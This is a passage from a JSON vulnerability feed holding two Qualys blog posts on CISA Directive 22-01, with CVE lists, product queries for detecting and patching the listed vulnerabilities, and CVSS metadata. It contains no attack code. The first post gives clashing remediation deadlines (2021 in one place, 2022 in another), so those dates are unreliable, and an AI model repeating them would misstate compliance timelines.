(CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA&#x27;s Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the [&quot;CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES&quot;](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most &quot;Category 2&quot; vulnerabilities by **November 17, 2021**, and &quot;Category 3&quot; by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive&#x27;s aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:[&#x27;CVE-2021-1732\u2032,&#x27;CVE-2020-1350\u2032,&#x27;CVE-2020-1472\u2032,&#x27;CVE-2021-26855\u2032,&#x27;CVE-2021-26858\u2032,&#x27;CVE-2021-27065\u2032,&#x27;CVE-2020-0601\u2032,&#x27;CVE-2021-26857\u2032,&#x27;CVE-2021-22893\u2032,&#x27;CVE-2020-8243\u2032,&#x27;CVE-2021-22900\u2032,&#x27;CVE-2021-22894\u2032,&#x27;CVE-2020-8260\u2032,&#x27;CVE-2021-22899\u2032,&#x27;CVE-2019-11510&#x27;]\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it&#x27;s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys&#x27; threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection &amp; Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:&quot;true&quot;_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": 